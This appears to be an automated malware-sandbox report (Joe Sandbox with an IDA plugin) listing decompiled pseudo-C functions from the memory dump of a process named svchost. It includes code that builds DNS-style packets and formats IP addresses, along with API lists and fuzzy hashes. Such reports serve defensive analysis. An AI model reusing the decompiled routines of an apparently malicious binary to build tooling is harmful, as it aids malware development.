				E0400B404(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					 *((intOrPtr*)(_t45 + 0x6c)) =  *0x4294d8;
				}
				E0400CA63( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E04009D2D(E040094D4());
			}

0x040093f6
0x040093fd
0x04009408
0x04009410
0x04009413
0x04009418
0x04009419
0x0400941c
0x0400941f
0x04009429
0x0400942e
0x04009436
0x0400943e
0x04009449
0x0400944e
0x0400944e
0x04009454
0x04009457
0x0400945e
0x04009465
0x0400946e
0x04009474
0x0400947b
0x04009481
0x04009488
0x0400948f
0x04009495
0x04009498
0x0400949b
0x040094a0
0x040094a7
0x040094a7
0x040094ad
0x040094b3
0x040094c4

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 04009413
__lock.LIBCMT ref: 0400946E
__lock.LIBCMT ref: 0400948F
___addlocaleref.LIBCMT ref: 040094AD

Strings

,SB, xrefs: 04009449

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: __lock$___addlocaleref__crt_waiting_on_module_handle
String ID: ,SB
API String ID: 1628550938-3344058557
Opcode ID: 3d3124fdb95e4bcea8cf975f9c6f5d5c3062870727a51910439b4630ff52904f
Instruction ID: 993150cf3f8eb55d910a7a38cf2a2ebf2ab550eb7e4aba8557308306761a1f3f
Opcode Fuzzy Hash: 3d3124fdb95e4bcea8cf975f9c6f5d5c3062870727a51910439b4630ff52904f
Instruction Fuzzy Hash: 6F1193B1904B019EF720EF759801B99BBE0AF00318F50C51AD599A72D1C774A641CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0401A890 Relevance: 7.8, APIs: 5, Instructions: 262
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0401A890(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a4, signed short _a8, intOrPtr _a12, intOrPtr _a16) {
				short* _v8;
				intOrPtr _v12;
				short* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short* _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v292;
				intOrPtr _v296;
				char _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _t138;
				void* _t177;
				signed char _t187;
				signed char _t192;
				void* _t195;
				void* _t253;
				void* _t254;
				signed int _t255;
				void* _t256;

				_t254 = __esi;
				_t253 = __edi;
				_t195 = __ebx;
				_v36 =  *0x429024 ^ _t255;
				_v320 = __ecx;
				_v8 = 0;
				_v12 = 0;
				while(_a4 != 0 && _a12 != 0 && _a16 >= 1 && _a16 <= 3) {
					_t138 = E040070A0(_a4);
					_t256 = _t256 + 4;
					_v296 = _t138;
					if(_v296 >= 1) {
						E04007010(_t253,  &_v292, 0, 0xff);
						_t256 = _t256 + 0xc;
						_t228 =  &_v292;
						_v20 = E04019850(_v320, _a4, _v296,  &_v292, 0xff);
						if(_v20 >= 1) {
							_v300 = 0;
							if(_a16 != 1) {
								if(_a16 != 2) {
									if(_a16 != 3) {
										goto L22;
									} else {
										_v304 =  *0x425260(_a12);
										if(_v304 != 0) {
											_v300 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v304 + 0xc))))));
											_t187 = E0401BA40(4, _a12,  &_v300);
											_t256 = _t256 + 0xc;
											if((_t187 & 0x000000ff) == 0) {
												E0401C2A0(_t253, 4, _a12,  &_v300);
												_t256 = _t256 + 0xc;
											}
											goto L22;
										}
									}
								} else {
									_v300 =  *0x425258(_a12);
									_t192 = E0401BA40(4, _a12,  &_v300);
									_t256 = _t256 + 0xc;
									if((_t192 & 0x000000ff) == 0) {
										E0401C2A0(_t253, 4, _a12,  &_v300);
										_t256 = _t256 + 0xc;
									}
									goto L22;
								}
							} else {
								_v300 = _a12;
								L22:
								_v308 = E04020CE0(0x1000);
								_v32 = _v308;
								E04007010(_t253, _v32, 0, 0x1000);
								_v16 = 0;
								_v28 = 0;
								_v16 = _v32;
								 *_v16 =  *0x4250b4();
								 *(_v16 + 2) =  *(_v16 + 2) & 0x0000007f;
								 *(_v16 + 2) =  *(_v16 + 2) & 0x00000087;
								 *(_v16 + 2) =  *(_v16 + 2) & 0x000000fb;
								 *(_v16 + 2) =  *(_v16 + 2) & 0x000000fd;
								 *(_v16 + 2) =  *(_v16 + 2) | 0x00000001;
								 *(_v16 + 3) =  *(_v16 + 3) & 0x0000007f;
								 *(_v16 + 3) =  *(_v16 + 3) & 0x000000bf;
								 *(_v16 + 3) =  *(_v16 + 3) & 0x000000df;
								 *(_v16 + 3) =  *(_v16 + 3) & 0x000000ef;
								 *(_v16 + 3) =  *(_v16 + 3) & 0x000000f0;
								 *((short*)(_v16 + 4)) =  *0x425278(1);
								 *((short*)(_v16 + 6)) = 0;
								 *((short*)(_v16 + 8)) = 0;
								 *((short*)(_v16 + 0xa)) = 0;
								E04006CA0(_t195, _t253, _t254, _v32 + 0xc,  &_v292);
								_v28 = _v32 + E04008A9C( &_v292, 0xfe) + 0xd;
								 *_v28 =  *0x425278(_a8 & 0x0000ffff, _v20);
								 *((short*)(_v28 + 2)) =  *0x425278(1);
								_t177 = E04008A9C( &_v292, 0xfe);
								_t256 = _t256 + 0x2c;
								_v24 = _t177 + 0x11;
								_t228 = _v32;
								_v8 = E0401D100(_t195,  *((intOrPtr*)(_v320 + 0x10)), _t253, _t254, _v300, 0x35, _v32, _v24);
								if(_v32 != 0) {
									_t228 = _v32;
									_v312 = _v32;
									E04020CC0(_v312);
									_t256 = _t256 + 4;
									_v32 = 0;
								}
								if(0 != 0) {
									continue;
								}
							}
						} else {
						}
					} else {
					}
					L25:
					if(_v8 == 0 && _v12 != 0) {
						_t228 = _v12;
						_v316 = _v12;
						E04020CC0(_v316);
						_v12 = 0;
					}
					return E04006C8C(_v8, _t195, _v36 ^ _t255, _t228, _t253, _t254);
				}
				goto L25;
			}

0x0401a890
0x0401a890
0x0401a890
0x0401a8a0
0x0401a8a3
0x0401a8a9
0x0401a8b0
0x0401a8b7
0x0401a8d8
0x0401a8dd
0x0401a8e0
0x0401a8ed
0x0401a902
0x0401a907
0x0401a90f
0x0401a92c
0x0401a933
0x0401a93a
0x0401a948
0x0401a95c
0x0401a9a5
0x00000000
0x0401a9a7
0x0401a9b1
0x0401a9be
0x0401a9cd
0x0401a9e0
0x0401a9e5
0x0401a9ed
0x0401a9fc
0x0401aa01
0x0401aa01
0x00000000
0x0401aa04
0x0401a9be
0x0401a95e
0x0401a968
0x0401a97b
0x0401a980
0x0401a988
0x0401a997
0x0401a99c
0x0401a99c
0x00000000
0x0401a99f
0x0401a94a
0x0401a94d
0x0401aa0b
0x0401aa18
0x0401aa24
0x0401aa32
0x0401aa3a
0x0401aa41
0x0401aa4b
0x0401aa57
0x0401aa65
0x0401aa73
0x0401aa81
0x0401aa8f
0x0401aa9d
0x0401aaab
0x0401aab9
0x0401aac7
0x0401aad5
0x0401aae3
0x0401aaf1
0x0401aafa
0x0401ab03
0x0401ab0c
0x0401ab22
0x0401ab45
0x0401ab56
0x0401ab64
0x0401ab74
0x0401ab79
0x0401ab7f
0x0401ab86
0x0401aba1
0x0401aba8
0x0401abaa
0x0401abad
0x0401abba
0x0401abbf
0x0401abc2
0x0401abc2
0x0401abcb
0x00000000
0x00000000
0x0401abcb
0x00000000
0x0401a935
0x00000000
0x0401a8ef
0x0401abd1
0x0401abd5
0x0401abdd
0x0401abe0
0x0401abed
0x0401abf5
0x0401abf5
0x0401ac0c
0x0401ac0c
0x00000000

APIs

_strlen.LIBCMT ref: 0401A8D8
_memset.LIBCMT ref: 0401A902
_memset.LIBCMT ref: 0401AA32
_strnlen.LIBCMT ref: 0401AB36
_strnlen.LIBCMT ref: 0401AB74

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memset_strnlen$_strlen
String ID:
API String ID: 1397555153-0
Opcode ID: 245b28424be2591b61ab36919849ca7590a44cec909f559def13932347f90032
Instruction ID: 9948d87256a1ab2e7e4c421ed80cf7a845357aae833f097959cef4c1dbbed60e
Opcode Fuzzy Hash: 245b28424be2591b61ab36919849ca7590a44cec909f559def13932347f90032
Instruction Fuzzy Hash: 2FB17B75E012499FDB14CF90C881BEEF7B1EF48308F14C19AE8596B391D634AA86CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04012D20 Relevance: 7.7, APIs: 5, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04012D20(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				signed int _v80;
				intOrPtr _t115;
				intOrPtr _t120;
				intOrPtr _t130;
				void* _t148;
				void* _t151;
				void* _t203;
				void* _t204;
				void* _t205;
				void* _t206;
				void* _t207;
				void* _t209;

				_t204 = __esi;
				_t203 = __edi;
				_t151 = __ebx;
				_v76 = __ecx;
				_v8 = 0;
				while(_a4 != 0) {
					_t115 = E040070A0( *((intOrPtr*)(_a4 + 4)));
					_t206 = _t205 + 4;
					_v12 = _t115;
					if(_v12 >= 1) {
						_v16 = 0xffffffff;
						_v28 = 0;
						while(_v28 < _v12) {
							if( *((char*)( *((intOrPtr*)(_a4 + 4)) + _v28)) != 0x3a) {
								_v28 = _v28 + 1;
								continue;
							} else {
								_v16 = _v28;
							}
							break;
						}
						if(_v16 >= 0) {
							_v20 = 0;
							_t29 =  *((intOrPtr*)(_a4 + 4)) + 1; // 0x1
							_t120 = E0401EBC0(_t151, _t203, _t204, _v16 + _t29, _v12 - _v16 + 1, 0x426f4c,  &_v20);
							_t205 = _t206 + 0x10;
							_v24 = _t120;
							if(_v24 > 0 && _v20 != 0) {
								E040228B0(_t151, _t203, _t204, _v20, 4, _v24);
								_t207 = _t205 + 0xc;
								_v40 = _v24 - 1;
								_v44 = 0;
								while(_v44 < _v24) {
									_t148 = E040070A0( *((intOrPtr*)(_v20 + _v44 * 4)));
									_t207 = _t207 + 4;
									_v40 = _t148 + _v40;
									_v44 = _v44 + 1;
								}
								_v60 = E04020CE0(_v40 + 1);
								_v32 = _v60;
								E04007010(_t203, _v32, 0, _v40 + 1);
								_t209 = _t207 + 0x10;
								_v36 = 0;
								_v48 = 0;
								while(_v48 < _v24) {
									_v52 = E040070A0( *((intOrPtr*)(_v20 + _v48 * 4)));
									_push(_v52);
									E04006CA0(_t151, _t203, _t204, _v32 + _v36,  *((intOrPtr*)(_v20 + _v48 * 4)));
									_t209 = _t209 + 0x10;
									_v36 = _v36 + _v52;
									 *((char*)(_v32 + _v36)) = 0x20;
									_v36 = _v36 + 1;
									_v48 = _v48 + 1;
								}
								_t130 = E04020CE0(8);
								_t205 = _t209 + 4;
								_v64 = _t130;
								if(_v64 == 0) {
									_v80 = 0;
								} else {
									_v80 = E0401F4E0(_v64);
								}
								_v8 = _v80;
								E0401FC90(_t151, _v8, _t203, _t204, _v32, _v40);
								_v56 = 0;
								while(_v56 < _v24) {
									if( *((intOrPtr*)(_v20 + _v56 * 4)) != 0) {
										_v68 =  *((intOrPtr*)(_v20 + _v56 * 4));
										E04020CC0(_v68);
										_t205 = _t205 + 4;
										 *((intOrPtr*)(_v20 + _v56 * 4)) = 0x666;
									}
									_v56 = _v56 + 1;
								}
								if(_v20 != 0) {
									_v72 = _v20;
									E04020CC0(_v72);
									_t205 = _t205 + 4;
									_v20 = 0x666;
								}
							}
							if(0 != 0) {
								continue;
							}
						} else {
						}
					} else {
					}
					L35:
					return _v8;
				}
				goto L35;
			}

0x04012d20
0x04012d20
0x04012d20
0x04012d26
0x04012d29
0x04012d30
0x04012d42
0x04012d47
0x04012d4a
0x04012d51
0x04012d58
0x04012d5f
0x04012d71
0x04012d89
0x04012d6e
0x00000000
0x04012d8b
0x04012d8e
0x04012d8e
0x00000000
0x04012d89
0x04012d99
0x04012da0
0x04012dc5
0x04012dca
0x04012dcf
0x04012dd2
0x04012dd9
0x04012df3
0x04012df8
0x04012e01
0x04012e04
0x04012e16
0x04012e28
0x04012e2d
0x04012e33
0x04012e13
0x04012e13
0x04012e47
0x04012e4d
0x04012e5d
0x04012e62
0x04012e65
0x04012e6c
0x04012e7e
0x04012e98
0x04012e9e
0x04012eb0
0x04012eb5
0x04012ebe
0x04012ec7
0x04012ed0
0x04012e7b
0x04012e7b
0x04012ed7
0x04012edc
0x04012edf
0x04012ee6
0x04012ef5
0x04012ee8
0x04012ef0
0x04012ef0
0x04012eff
0x04012f0d
0x04012f12
0x04012f24
0x04012f36
0x04012f41
0x04012f48
0x04012f4d
0x04012f56
0x04012f56
0x04012f21
0x04012f21
0x04012f63
0x04012f68
0x04012f6f
0x04012f74
0x04012f77
0x04012f77
0x04012f63
0x04012f80
0x00000000
0x00000000
0x00000000
0x04012d9b
0x00000000
0x04012d53
0x04012f86
0x04012f8c
0x04012f8c
0x00000000

APIs

_strlen.LIBCMT ref: 04012D42

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 589d3e65630ef34cec759d841c4f9ee093c734cc23f38093e9c684df022fd702
Instruction ID: b4162b3583ba2dec2d6c765e4cdbb5ffec497666bde8b264905ccdcb2170b9d4
Opcode Fuzzy Hash: 589d3e65630ef34cec759d841c4f9ee093c734cc23f38093e9c684df022fd702
Instruction Fuzzy Hash: AB81D3B4E01209DBDF04CF98D984AEEB7B2BF48308F2485A9E41577390E735AA45DF91

Uniqueness

Uniqueness Score: -1.00%

Function 04018C40 Relevance: 7.7, APIs: 5, Instructions: 192COMMON

Download Yara Rule

APIs

codecvt.LIBCPMTD ref: 04018D16
codecvt.LIBCPMTD ref: 04018D54
codecvt.LIBCPMTD ref: 04018E16
codecvt.LIBCPMTD ref: 04018E54
codecvt.LIBCPMTD ref: 04018E8C

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: ba7dc1fef3d58b80a497ec6308a1d58d0225431825f13d715bb00c9403d7ea51
Instruction ID: 8ef4f0843c548fec2a10bde5c14a40ad8c72f7d7392924089e823b54c74d7b66
Opcode Fuzzy Hash: ba7dc1fef3d58b80a497ec6308a1d58d0225431825f13d715bb00c9403d7ea51
Instruction Fuzzy Hash: E891C774A00208EFDB54DF94C894B9DBBB2FF48354F608259E9156B3A0D775EA82CF90

Uniqueness

Uniqueness Score: -1.00%

Function 040115C0 Relevance: 7.7, APIs: 5, Instructions: 178
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E040115C0(void* __ebx, unsigned int** __ecx, void* __edi, void* __esi) {
				unsigned int* _v8;
				signed short _v12;
				signed int _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				char _v64;
				unsigned int* _v68;
				intOrPtr _v72;
				unsigned int* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				unsigned int* _v88;
				unsigned int* _v92;
				intOrPtr _v96;
				unsigned int* _v100;
				unsigned int* _v104;
				unsigned int** _v108;
				unsigned int* _v112;
				unsigned int* _v116;
				unsigned int* _t84;
				intOrPtr _t97;
				void* _t99;
				intOrPtr _t103;
				void* _t109;
				void* _t152;
				void* _t153;
				signed int _t154;
				void* _t155;
				void* _t160;

				_t153 = __esi;
				_t152 = __edi;
				_t109 = __ebx;
				_v16 =  *0x429024 ^ _t154;
				_v108 = __ecx;
				_v8 = 0;
				do {
					if(( *_v108)[1] == 0) {
						goto L7;
					} else {
						_t103 = E040070A0(( *_v108)[1]);
						_t155 = _t155 + 4;
						_v80 = _t103;
						if(_v80 <= 0) {
							goto L7;
						} else {
							_v84 = E04020CE0(8);
							if(_v84 == 0) {
								_v112 = 0;
							} else {
								_v112 = E0401F4E0(_v84);
							}
							_v8 = _v112;
							_t149 =  *_v108;
							E0401FC90(_t109, _v8, _t152, _t153, ( *_v108)[1], _v80);
						}
					}
					break;
					L7:
					_v88 = E04020CE0(0x11);
					_v68 = _v88;
					E04007010(_t152, _v68, 0, 0x11);
					 *0x4251f8(_v68, 0x10, 0x427088, ( *( *_v108) >> 0x00000010 & 0xffff) >> 0x00000008 & 0xff,  *( *_v108) >> 0x00000010 & 0xff, ( *( *_v108) & 0xffff) >> 0x00000008 & 0xff,  *( *_v108) & 0xff);
					_t84 = E04020CE0(0x401);
					_t155 = _t155 + 0x30;
					_v92 = _t84;
					_v76 = _v92;
					_v12 = 0x6987;
					_v32 = 2;
					_v28 =  *0x425258(_v68);
					_v30 =  *0x425278(_v12 & 0x0000ffff);
					_t149 =  &_v64;
					_v72 =  *0x425250( &_v32, 0x10, _v76, 0x401,  &_v64, 0x20, 8);
					if(_v72 == 0) {
						_t97 = E04020CE0(8);
						_t160 = _t155 + 4;
						_v96 = _t97;
						if(_v96 == 0) {
							_v116 = 0;
						} else {
							_v116 = E0401F4E0(_v96);
						}
						_t149 = _v116;
						_v8 = _v116;
						_t99 = E040070A0(_v76);
						_t155 = _t160 + 4;
						E0401FC90(_t109, _v8, _t152, _t153, _v76, _t99);
					}
					if(_v76 != 0) {
						_t149 = _v76;
						_v100 = _v76;
						E04020CC0(_v100);
						_t155 = _t155 + 4;
						_v76 = 0x666;
					}
					if(_v68 != 0) {
						_v104 = _v68;
						_t149 = _v104;
						E04020CC0(_v104);
						_t155 = _t155 + 4;
						_v68 = 0x666;
					}
				} while (0 != 0);
				return E04006C8C(_v8, _t109, _v16 ^ _t154, _t149, _t152, _t153);
			}

0x040115c0
0x040115c0
0x040115c0
0x040115cd
0x040115d0
0x040115d3
0x040115da
0x040115e3
0x00000000
0x040115e5
0x040115ee
0x040115f3
0x040115f6
0x040115fd
0x00000000
0x040115ff
0x04011609
0x04011610
0x0401161f
0x04011612
0x0401161a
0x0401161a
0x04011629
0x04011633
0x0401163c
0x0401163c
0x040115fd
0x00000000
0x04011646
0x04011650
0x04011656
0x04011661
0x040116e5
0x040116f3
0x040116f8
0x040116fb
0x04011701
0x04011709
0x04011712
0x04011720
0x0401172e
0x04011736
0x0401174f
0x04011756
0x0401175a
0x0401175f
0x04011762
0x04011769
0x04011778
0x0401176b
0x04011773
0x04011773
0x0401177f
0x04011782
0x04011789
0x0401178e
0x04011799
0x04011799
0x040117a2
0x040117a4
0x040117a7
0x040117ae
0x040117b3
0x040117b6
0x040117b6
0x040117c1
0x040117c6
0x040117c9
0x040117cd
0x040117d2
0x040117d5
0x040117d5
0x040117dc
0x040117f4

APIs

_strlen.LIBCMT ref: 040115EE
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04011615
_memset.LIBCMT ref: 04011661
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 0401176E
_strlen.LIBCMT ref: 04011789

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::__strlenstd::_$_memset
String ID:
API String ID: 2716363198-0
Opcode ID: 0abad2840db399aae90639b031553a88c883544166d49a401e7ee45cba732544
Instruction ID: 26b02190921c373d841446d0dad60ddd34c3bc106182d84ff6dd49c6febfbb10
Opcode Fuzzy Hash: 0abad2840db399aae90639b031553a88c883544166d49a401e7ee45cba732544
Instruction Fuzzy Hash: CB7128B4E00318DFEB14DFA4D884BADB7B1FF48308F248128E609AB390D775A945DB51

Uniqueness

Uniqueness Score: -1.00%

Function 04012470 Relevance: 7.7, APIs: 5, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E04012470(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr* _v12;
				signed int _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr* _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _t74;
				intOrPtr _t83;
				intOrPtr _t99;
				void* _t101;
				void* _t108;
				void* _t156;
				void* _t157;
				signed int _t158;
				void* _t159;
				void* _t163;

				_t157 = __esi;
				_t156 = __edi;
				_t108 = __ebx;
				_v16 =  *0x429024 ^ _t158;
				_v80 = __ecx;
				_v8 = 0;
				do {
					_v36 =  *0x426fa8;
					_v32 =  *0x426fac;
					_v28 =  *0x426fb0;
					_v24 =  *0x426fb4;
					_v20 =  *0x426fb8;
					_t74 = E04020CE0(8);
					_t159 = _t159 + 4;
					_v52 = _t74;
					if(_v52 == 0) {
						_v84 = 0;
					} else {
						_v84 = E0401F4E0(_v52);
					}
					_v12 = _v84;
					E0401FC90(_t108, _v12, _t156, _t157,  &_v36, 0x10);
					if((E04015C60(_t108, _v80, _v84, _v12) & 0x000000ff) != 0) {
						_v44 = 0;
						_t83 = E0401BCB0(_t156, 4,  *_v12,  &_v44);
						_t159 = _t159 + 0xc;
						_v40 = _t83;
						if(_v40 > 0) {
							_v56 = E04020CE0(0x11);
							_v48 = _v56;
							E04007010(_t156, _v48, 0, 0x11);
							 *0x4251f8(_v48, 0x10, 0x426fbc,  *( *_v44 + 4) & 0xff, ( *( *_v44 + 4) & 0xffff) >> 0x00000008 & 0xff,  *( *_v44 + 4) >> 0x00000010 & 0xff, ( *( *_v44 + 4) >> 0x00000010 & 0xffff) >> 0x00000008 & 0xff);
							_t99 = E04020CE0(8);
							_t163 = _t159 + 0x30;
							_v60 = _t99;
							if(_v60 == 0) {
								_v88 = 0;
							} else {
								_v88 = E0401F4E0(_v60);
							}
							_v8 = _v88;
							_t101 = E040070A0(_v48);
							_t159 = _t163 + 4;
							E0401FC90(_t108, _v8, _t156, _t157, _v48, _t101);
							if(_v48 != 0) {
								_v64 = _v48;
								E04020CC0(_v64);
								_t159 = _t159 + 4;
								_v48 = 0x666;
							}
							if(_v44 != 0) {
								_v68 = _v44;
								E04020CC0(_v68);
								_t159 = _t159 + 4;
								_v44 = 0x666;
							}
						}
					}
					if(_v12 != 0) {
						_v76 = _v12;
						_v72 = _v76;
						if(_v72 == 0) {
							_v92 = 0;
						} else {
							_v92 = E04004EA0(_v72, 1);
						}
						_v12 = 0x666;
					}
				} while (0 != 0);
				return E04006C8C(_v8, _t108, _v16 ^ _t158, 0, _t156, _t157);
			}

0x04012470
0x04012470
0x04012470
0x0401247d
0x04012480
0x04012483
0x0401248a
0x0401248f
0x04012498
0x040124a1
0x040124a9
0x040124b2
0x040124b7
0x040124bc
0x040124bf
0x040124c6
0x040124d5
0x040124c8
0x040124d0
0x040124d0
0x040124df
0x040124eb
0x04012501
0x04012507
0x0401251a
0x0401251f
0x04012522
0x04012529
0x04012539
0x0401253f
0x0401254a
0x040125d3
0x040125de
0x040125e3
0x040125e6
0x040125ed
0x040125fc
0x040125ef
0x040125f7
0x040125f7
0x04012606
0x0401260d
0x04012612
0x0401261d
0x04012626
0x0401262b
0x04012632
0x04012637
0x0401263a
0x0401263a
0x04012645
0x0401264a
0x04012651
0x04012656
0x04012659
0x04012659
0x04012645
0x04012529
0x04012664
0x04012669
0x0401266f
0x04012676
0x04012687
0x04012678
0x04012682
0x04012682
0x0401268e
0x0401268e
0x04012695
0x040126ad

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 040124CB
_memset.LIBCMT ref: 0401254A
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 040125F2
_strlen.LIBCMT ref: 0401260D
codecvt.LIBCPMTD ref: 0401267D

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::_std::_$_memset_strlencodecvt
String ID:
API String ID: 2459447590-0
Opcode ID: e9ae77fbe599c57f9ed2e64cca4674112824ea2fac37f94927e6576c1164366d
Instruction ID: 2d0a0b2a9c0e8f4d9cfb9b2fe2ef08dc32606c7a33a305a0369b3e2b17122581
Opcode Fuzzy Hash: e9ae77fbe599c57f9ed2e64cca4674112824ea2fac37f94927e6576c1164366d
Instruction Fuzzy Hash: 837138B0E002199FEB14DFA8D984BEDBBB1FF88318F148169E405BB390D775A944CB54

Uniqueness

Uniqueness Score: -1.00%

Function 040135C0 Relevance: 7.6, APIs: 5, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E040135C0(void* __ebx, intOrPtr* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v9;
				intOrPtr _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr* _v52;
				intOrPtr _v56;
				intOrPtr* _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _t81;
				intOrPtr _t92;
				intOrPtr _t95;
				void* _t98;
				void* _t128;

				_t98 = __ebx;
				_v52 = __ecx;
				_v8 = 0;
				_v9 = 0;
				while(_a4 != 0) {
					if( *((intOrPtr*)( *_v52 + 0x2c)) >= 1) {
						_v16 = 0;
						while(_v16 <  *((intOrPtr*)( *_v52 + 0x2c))) {
							_t81 = E04020CE0(8);
							_t128 = _t128 + 4;
							_v28 = _t81;
							if(_v28 == 0) {
								_v60 = 0;
							} else {
								_v60 = E0401F4E0(_v28);
							}
							_v20 = _v60;
							E0401F9F0(_t98, _v20, _a4,  *((intOrPtr*)(_a4 + 0x1c)),  *((intOrPtr*)(_a4 + 0x20)), 0);
							 *((intOrPtr*)(_v52 + 0x10)) = _v16;
							if((E04015C60(_t98, _v52, _v16, _v20) & 0x000000ff) != 0) {
								if(_v8 == 0) {
									_t92 = E04020CE0(8);
									_t128 = _t128 + 4;
									_v32 = _t92;
									if(_v32 == 0) {
										_v64 = 0;
									} else {
										_v64 = E0401F4E0(_v32);
									}
									_v8 = _v64;
								}
								E0401F9F0(_t98, _v8, _v20,  *_v20,  *((intOrPtr*)(_v20 + 4)), 0);
							} else {
								_v9 = 1;
							}
							if(_v20 != 0) {
								_v40 = _v20;
								_v36 = _v40;
								if(_v36 == 0) {
									_v68 = 0;
								} else {
									_v68 = E04004EA0(_v36, 1);
								}
								_v20 = 0x666;
							}
							if((_v9 & 0x000000ff) == 0) {
								_v16 = _v16 + 1;
								continue;
							} else {
							}
							goto L30;
						}
					} else {
						_t95 = E04020CE0(8);
						_t128 = _t128 + 4;
						_v24 = _t95;
						if(_v24 == 0) {
							_v56 = 0;
						} else {
							_v56 = E0401F4E0(_v24);
						}
						_v8 = _v56;
						 *((intOrPtr*)(_v8 + 4)) = 0;
					}
					L30:
					if((_v9 & 0x000000ff) != 0) {
						if(_v8 != 0) {
							_v48 = _v8;
							_v44 = _v48;
							if(_v44 == 0) {
								_v72 = 0;
							} else {
								_v72 = E04004EA0(_v44, 1);
							}
							_v8 = 0x666;
						}
						_v8 = 0;
					}
					if(0 != 0) {
						continue;
					}
					L38:
					return _v8;
				}
				goto L38;
			}

0x040135c0
0x040135c6
0x040135c9
0x040135d0
0x040135d4
0x040135e8
0x04013626
0x04013638
0x0401364b
0x04013650
0x04013653
0x0401365a
0x04013669
0x0401365c
0x04013664
0x04013664
0x04013673
0x04013689
0x04013694
0x040136a8
0x040136b4
0x040136b8
0x040136bd
0x040136c0
0x040136c7
0x040136d6
0x040136c9
0x040136d1
0x040136d1
0x040136e0
0x040136e0
0x040136f5
0x040136aa
0x040136aa
0x040136aa
0x040136fe
0x04013703
0x04013709
0x04013710
0x04013721
0x04013712
0x0401371c
0x0401371c
0x04013728
0x04013728
0x04013735
0x04013635
0x00000000
0x00000000
0x04013737
0x00000000
0x04013735
0x040135ea
0x040135ec
0x040135f1
0x040135f4
